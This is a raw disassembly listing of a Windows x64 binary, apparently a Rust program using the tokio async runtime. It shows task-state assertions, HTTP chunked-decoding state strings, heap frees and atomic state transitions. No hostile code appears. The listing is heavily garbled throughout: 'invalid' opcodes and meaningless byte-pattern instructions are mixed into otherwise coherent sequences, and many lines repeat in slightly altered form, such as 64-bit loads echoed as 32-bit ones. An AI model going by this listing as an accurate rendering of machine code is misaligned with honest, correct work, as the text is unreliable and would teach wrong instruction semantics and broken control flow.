and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0xaae32
invalid
scasb al, byte [rdi]
or al, byte [rax]
invalid
jne 0x140095dcf
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
invalid
scasb al, byte [rdi]
or al, byte [rax]
invalid
xor ch, byte [rsi - 0x47befff6]
add byte [rcx - 0x48], al
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
leave
leave
jne 0x140095deb
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014a1c8]
or eax, dword [r8]
or eax, dword [r8]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140095deb
mov eax, edx
test al, al
ror byte [rdi], 0x95
setne al
add rsp, 0x40
pop rsi
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
pop rsi
ret
int3
int3
invalid
mov cl, 0xe6
adc edi, dword [rbx - 0x62]
retf
int3
int3
lea r8, [0x140174964]
add byte [rcx + 0x63], cl
add al, 0x80
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xa845b
or al, byte [rax]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xa845b
or al, byte [rax]
or al, byte [rax]
mov r8d, 4
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add byte [rax], al
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14013e1cc]
or al, byte [rax]
or al, byte [rax]
mov r8d, 6
add rsp, 0x40
pop rsi
jmp rax
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rcx, 8
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x38], ecx
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
sub byte [rax - 0x73], cl
add eax, 0xa8446
sub byte [rax - 0x73], cl
add eax, 0xa8446
mov r8d, 4
jmp 0x140095ed9
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14013e2dc]
or al, byte [rax]
or al, byte [rax]
mov r8d, 9
add rsp, 0x40
pop rsi
jmp rax
add rcx, 8
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14013e2aa]
mov r8d, 8
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x14013e2b8]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016520
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x140095f77
mov al, 1
test dl, dl
jne 0x140095f79
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x140095f5d
cmp byte [rsp + 0x31], 0
je 0x140095f5d
test byte [rsi + 0x34], 4
jne 0x140095f5d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140095f79
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014a1c8]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140095f79
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ret
pop rbp
ret
in al, dx
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, r8
mov r14, rdx
invalid
mov ebx, ecx
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r8
call fcn.1400e0010
test rax, rax
je 0x1400962d3
invalid
mov rdi, rax
mov rcx, rax
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400962e0
mov r14, rax
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rsi
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
popfq
add al, 0
popfq
add al, 0
test rax, rax
je 0x1400962ef
mov qword [rax], r14
lea rcx, [0x14013a130]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], bl
adc byte [rax - 1], cl
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
adc byte [rax - 1], cl
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rbp
ret
mov ecx, 1
mov rdx, rsi
call fcn.140104360
mov ecx, 8
mov edx, 0x18
call fcn.140104380
mov qword [rbp - 0x10], r14
mov ecx, 8
mov edx, 0x18
call fcn.140104380
ud2
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x14013a130]
mov rcx, qword [rbp - 0x10]
invalid
invalid
call fcn.1400dd830
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
invalid
in eax, 0x76
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add dword [rdi], ecx
mov dh, 8
test ecx, ecx
je case.0x14005d242.216
cmp ecx, 1
jne 0x1400964a1
lea rcx, [rax + 0x10]
mov qword [rsp + 0x80], rcx
add byte [rax], al
add byte [rax - 0x73], cl
add qword [rax - 0x7d], rcx
ror byte [rax], 0x4c
lea eax, [0x140128d58]
sahf
sub dword [rcx], ecx
or dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
add qword [rax - 0x7d], rcx
ror byte [rax], 0x4c
lea eax, [0x140128d58]
sahf
sub dword [rcx], ecx
or dword [rax], eax
sahf
sub dword [rcx], ecx
or dword [rax], eax
mov qword [rsp + 0x70], r8
or dword [rax], eax
mov qword [rsp + 0x70], r8
and al, 0x70
lea r8, [rsp + 0x80]
mov qword [rsp + 0x68], r8
and al, 0x68
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x68
lea r8, [0x14013e27d]
mov qword [rsp + 0x58], r8
and al, 0x58
jle 0x1400963dc
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x58
lea r8, [0x140128108]
mov qword [rsp + 0x50], r8
mov dword [rsp + 0x50], eax
sbb eax, 0x894c0009
and al, 0x50
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x50
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x48], rax
lea rax, [0x14013e274]
lea eax, [0x14013e274]
lea eax, [0x14013e274]
mov qword [rsp + 0x38], rax
lea rax, [0x140128d78]
sub dword [rcx], ecx
add byte [rax - 0x77], cl
and al, 0x30
sub dword [rcx], ecx
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x60], 0xe
mov qword [rsp + 0x40], 9
and al, 0x40
or dword [rax], eax
add byte [rax], al
and al, 0x40
or dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x20], 5
lea rax, str.Chunkedstatechunk_lenextensions_cntEofAwaitingHeadersStreamingInitContinue
lea r9, [0x14013e26f]
add byte [rcx - 0x48], al
invalid
add byte [rax], al
invalid
add byte [rcx - 0x48], al
invalid
mov eax, 7
mov rcx, rdx
mov rdx, rax
call fcn.140016ce0
clc
invalid
clc
call qword [rax - 0x5f3b7eb8]
nop
add rsp, 0xa0
add esp, 0xa0
pop rsi
ret
nop
add rsp, 0xa0
add esp, 0xa0
add esp, 0xa0
pop rsi
ret
add rax, 8
mov qword [rsp + 0x98], rax
cwde
add byte [rax], al
invalid
cwde
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14013e240]
jge 0x14009646e
invalid
and byte [rbx + r9*4 + 0x4a], cl
and byte [rbx + rcx*4 + 0x4a], cl
sub byte [rax - 0x73], cl
add eax, 0xa7ddb
jge 0x14009646e
invalid
jge 0x14009646e
add byte [rcx - 0x48], al
invalid
mov r8d, 6
mov eax, 6
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x88], rsi
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
mov byte [rsp + 0x90], al
mov qword [rsp + 0x80], 0
mov byte [rsp + 0x91], 0
lea r8, [0x140128d58]
add bl, ch
push rsp
add bl, ch
push rsp
inc rax
mov qword [rsp + 0x98], rax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14013e28b]
add eax, 0xa7dd0
add eax, 0xa7dd0
mov r8d, 3
mov rsi, rdx
mov rdx, rax
ret 0xff41
push rcx
sbb byte [rax - 0x77], cl
mov ah, 0x24
and al, 0x88
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
ret 0xff41
sbb byte [rax - 0x77], cl
mov ah, 0x24
and al, 0x88
add byte [rax], al
invalid
and al, 0x88
add byte [rax], al
add byte [rax + 0x902484], cl
add byte [rax], al
mov byte [rsp + 0x90], al
mov qword [rsp + 0x80], 0
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rcx + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x91], 0
lea r8, [0x140127e50]
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x98]
call fcn.140016520
mov rcx, qword [rsp + 0x80]
movzx edx, byte [rsp + 0x90]
xchg esp, eax
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x7b], cl
leave
xchg esp, eax
and al, 0x90
nop
nop
add byte [rax], al
add byte [rax - 0x7b], cl
leave
je 0x14009657d
mov al, 1
test dl, dl
jne 0x14009657f
mov rsi, qword [rsp + 0x88]
mov esi, dword [rsp + 0x88]
cmp rcx, 1
jne 0x140096563
cmp byte [rsp + 0x91], 0
xchg ecx, eax
add byte [rax], al
add byte [rax], al
je 0x140096563
test byte [rsi + 0x34], 4
jne 0x140096563
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
or al, byte [rax]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0xaa69e
or al, byte [rax]
or al, byte [rax]
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
invalid
test cl, cl
leave
add dword [rcx + rcx*8 - 0x74b7e38b], eax
and byte [rax - 0x75], r9b
mov eax, dword [rsi + 0x28]
invalid
invalid
leave
jne 0x14009657f
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x14014a1c8]
adc eax, 0xb3c56
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14009657f
mov eax, edx
test al, al
setne al
xchg ebp, eax
ror byte [rax - 0x7f], 0xc4
add rsp, 0xa0
add byte [rax], al
add byte [rsi - 0x3d], bl
add byte [rax], al
add byte [rsi - 0x3d], bl
int3
mov eax, dword [rcx]
jmp 0x1400965ca
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x1400965f5
test al, 4
je 0x140096837
test al, 3
je 0x1400965b0
cmp rax, 0x3f
jbe 0x14009684f
cmp rcx, 0x40
setb dl
stc
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x1400965ca
invalid
invalid
movzx eax, dl
lea rcx, [0x140174978]
or eax, 0xde379
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor al, byte [rdx]
add byte [rax], al
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14009669a
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
xchg al, dl
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x4e03c
add al, 0
mov rbx, rcx
mov rcx, rax
call fcn.1400d3ad0
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x38]
call fcn.14007bf50
mov ecx, dword [0x14017d2b4]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x140096724
add dword [rbp + rsi - 0x7b], esi
leave
xor eax, 0x4b75c985
test ecx, ecx
jne 0x14009673e
mov ecx, dword [0x14017d2b4]
mov ebx, 0x65000e6b
imul ecx, dword [rsi], 0
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
invalid
mov rdi, qword [rdx + rcx*8]
retf 0x8d48
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
add byte [rax - 0x73], cl
adc eax, 0x4dfac
mov ebx, eax
call fcn.1400d3ad0
add byte [rcx + 0x2087c6d8], cl
add dword [rax], eax
add byte [rcx], al
add byte [rcx + 0x2087c6d8], cl
fadd st(6)
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov ch, byte [rbx + 0xe]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
and eax, 0x58
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lock add byte [rax], al
invalid
lock add byte [rax], al
add byte [rax - 0x73], cl
jle case.0x140093752.48
invalid
add byte [rax], al
lea rdi, [rsi + 0x20]
and byte [rax + rax*8 + 0x93840f], al
add byte [rax], al
test al, al
je 0x1400967dd
xchg ebx, eax
add byte [rax], al
invalid
xchg ebx, eax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov rcx, rsi
int1
call fcn.1400e7430
movzx eax, al
lea rcx, [0x140174988]
lea ecx, [0x140174988]
lea ecx, [0x140174988]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7d], cl
rcl dword [rax], 0x48
mov edx, esi
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400eca20
invalid
invalid
add eax, ebp
test al, 0x62
add eax, 0xc0c74800
sar bh, 0xff
push rax
xadd qword [rsi], rax
invalid
invalid
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
invalid
rol dword [rsi], 0x48
cmp eax, 0x3f
clc
invalid
cmp rax, 0x3f
clc
invalid
jbe 0x14009689f
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140096606.2
add byte [rax], al
mov rcx, rsi
call 0x140096ac0
add byte [rax], al
add byte [rax], al
jmp case.0x140096606.2
mov qword [rsp + 0x48], 7
lea rdx, [rsp + 0x48]
add byte [rax - 0x73], cl
push rsp
and al, 0x48
mov rcx, rdi
call fcn.140096b80
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x39], r9b
and al, 0x50
add dword [rax], eax
add byte [rax], al
sub byte [rax - 0x39], r9b
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x68], rax
jmp 0x140096804
mov qword [rsp + 0x48], 7
lea rdx, [rsp + 0x48]
mov rcx, rdi
call fcn.140096b80
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 0
and al, 0x60
add byte [rax], al
add byte [rax], al
and al, 0x60
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], 6
lea rdx, [rsp + 0x48]
lea edx, [rsp + 0x48]
lea edx, [rsp + 0x48]
mov rcx, rdi
call fcn.140096b80
mov rcx, rsi
call fcn.140096d40
movaps xmm6, xmmword [rsp + 0x230]
add rsp, 0x248
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x20]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x48]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x140096add
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x228]
test rax, rax
invalid
je 0x140096b65
sal byte [rdx + rcx + 0x48], 0x8b
invalid
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
cwde
invalid
invalid
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
and byte [rbx + 0x5f], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
cwde
invalid
lea eax, [rsi + 0xd0]
lea r8, [0x1400e46c0]
mov rdi, rcx
mov rcx, rax
mov rbx, rdx
mov rdx, r8
ret 0xe6e8
invalid
add eax, dword [rax]
mov rcx, rdi
mov rdx, rbx
mov byte [r14 + 0x120], 1
ret 0xe6e8
mov eax, dword [0x14017d2b4]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rsi
lea rsi, [rcx + 0x10]
mov rax, qword [rcx + 0x10]
mov r9d, eax
not r9d
lea r10, [rax - 5]
xor r8d, r8d
test r9b, 6
cmove r8, r10
cmp r8, 1
je 0x140096c66
test r8, r8
jne 0x140096cad
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x140096cad
mov rcx, rsi
mov rdi, rdx
call fcn.14007bc30
mov rdx, rdi
jmp 0x140096cad
cmp qword [rcx + 0x18], 0
je 0x140096cad
mov rdi, qword [rcx + 0x20]
test rdi, rdi
je 0x140096cad
mov r14, qword [rcx + 0x28]
mov rcx, rdi
mov rbx, rdx
call qword [r14]
mov rdx, rbx
cmp qword [r14 + 8], 0
je 0x140096cad
cmp qword [r14 + 0x10], 0x11
jb 0x140096c98
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x78756
adc eax, 0x78756
mov rdx, rbx
mov r8d, 0x1e8
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
invalid
add byte [rbx + 0xe65f305], cl
invalid
invalid
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x140096d0b
test eax, eax
jne 0x140096d25
sal byte [rbp + 0x47], 0x8b
add eax, 0xe65d0
invalid
mov eax, dword [0x14017d2b4]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rsi, qword [rcx + rax*8]
xor al, 0xc1
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
lea edx, [0x1400e46c0]
add byte [rax - 0x73], cl
adc eax, 0x4d9c1
lea edx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
add dh, al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
movups xmmword [rax + 0xf0], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
add byte [rax - 0x77], cl
invalid
mov esi, ecx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
invalid
jne 0x140096d50
test al, 1
je 0x140096df9
invalid
xchg ebx, eax
add byte [rax], al
invalid
test byte [rbx - 0x58000000], dl
add cl, byte [rdi]
test dword [rbx - 0x58000000], esp
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x5c7af0fe], ch
test al, 2
jne 0x140096e11
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x48197508], ch
or byte [rbp + 0x19], dh
lea rcx, [rsi + 0x20]
test al, 8
jne 0x140096d8b
invalid
or byte [rbp + 0x19], dh
sbb dword [rax - 0x73], ecx
and byte [rax - 0x39], r9b
and al, 0x58
and al, 0x58
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x58], 7
and al, 0x58
invalid
lea rdx, [rsp + 0x58]
call fcn.140096b80
jmp case.0x140069415.205
test al, 0x10
je case.0x140069415.205
mov rax, qword [rsi + 0x228]
test rax, rax
je 0x140096e95
mov rcx, qword [rsi + 0x230]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec8c0
cmp rax, 1
clc
invalid
clc
add dword [rax + 2], edi
mov eax, 2
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x28], eax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
xadd dword [rsi], eax
invalid
xadd dword [rsi], eax
shr rax, 6
cmp rax, qword [rsp + 0x28]
cmp eax, dword [rsp + 0x28]
cmp eax, dword [rsp + 0x28]
and al, 0x28
jb 0x140096e29
jne 0x140096def
mov rcx, rsi
add rsp, 0x240
add esp, 0x240
add esp, 0x240
add byte [rax], al
pop rsi
jmp 0x140096ac0
nop
add rsp, 0x240
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ab80]
mov edx, 0x23
call fcn.1401046f0
cmp eax, 0x23ba000b
add byte [rax], al
add al, ch
invalid
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014abc0]
mov edx, 0x25
call fcn.1401046f0
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
lea eax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012c90]
lea eax, [fcn.140012c90]
lea eax, [fcn.140012c90]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x50], eax
lea rax, str.current:___sub:_
mov qword [rsp + 0x58], rax
and al, 0x58
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x68], eax
and al, 0x68
and al, 0x68
mov qword [rsp + 0x70], 2
lea rdx, [0x14014ac08]
invalid
or eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0xb3d7d
invalid
or eax, dword [rax]
cmp eax, 0x8d48000b
and al, 0x58
lea rcx, [rsp + 0x58]
call fcn.140104620
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x60], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [0x14016f768]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
and al, 0x58
and al, 0x58
call fcn.140104620
int3
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x230], esi
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x140096f0a
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xe1
clc
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
je 0x140096f35
test al, 4
je 0x140097170
test al, 3
je 0x140096ef0
cmp rax, 0x3f
jbe 0x140097188
movzx eax, dl
lea rcx, [0x140174998]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
and al, 0x28
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov eax, dword [rsi + 0x30]
not eax
test al, 6
je 0x1400971a0
invalid
ret 0xb60f
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x140096fda
xorps xmm6, xmm6
test eax, eax
jne 0x140097006
mov ebx, ecx
mov rcx, rax
call fcn.1400d3ad0
mov rcx, rbx
mov byte [r14 + 0x120], 1
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xe62d405], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xe62d405], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x38]
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x38
lea edx, [rsp + 0x38]
call fcn.14007bf50
mov ecx, dword [0x14017d2b4]
invalid
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
dec dword [rbx + 0xe629e0d]
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
test ecx, ecx
jne 0x14009707e
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
invalid
jnp 0x140097099
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
invalid
retf 0x8d48
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
invalid
add al, 0
add byte [rcx - 0x358a173d], cl
add eax, dword [rax]
invalid
add byte [rcx - 0x358a173d], cl
add eax, dword [rax]
ret
mov eax, ebx
mov byte [rdi + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xe624a0d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov ecx, dword [0x14017d2b4]
or eax, 0xe624a
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
invalid
add byte [rax], al
add byte [rax - 0x73], cl
jle 0x1400970a2
invalid
and byte [rax + rax*8 + 0x8c840f], al
add byte [rax], al
test al, al
je 0x140097116
invalid
mov word [rax], es
add byte [rax], al
test byte [rax + rax - 0x76b80000], cl
int1
mov rcx, rsi
mov ecx, esi
call fcn.1400e7430
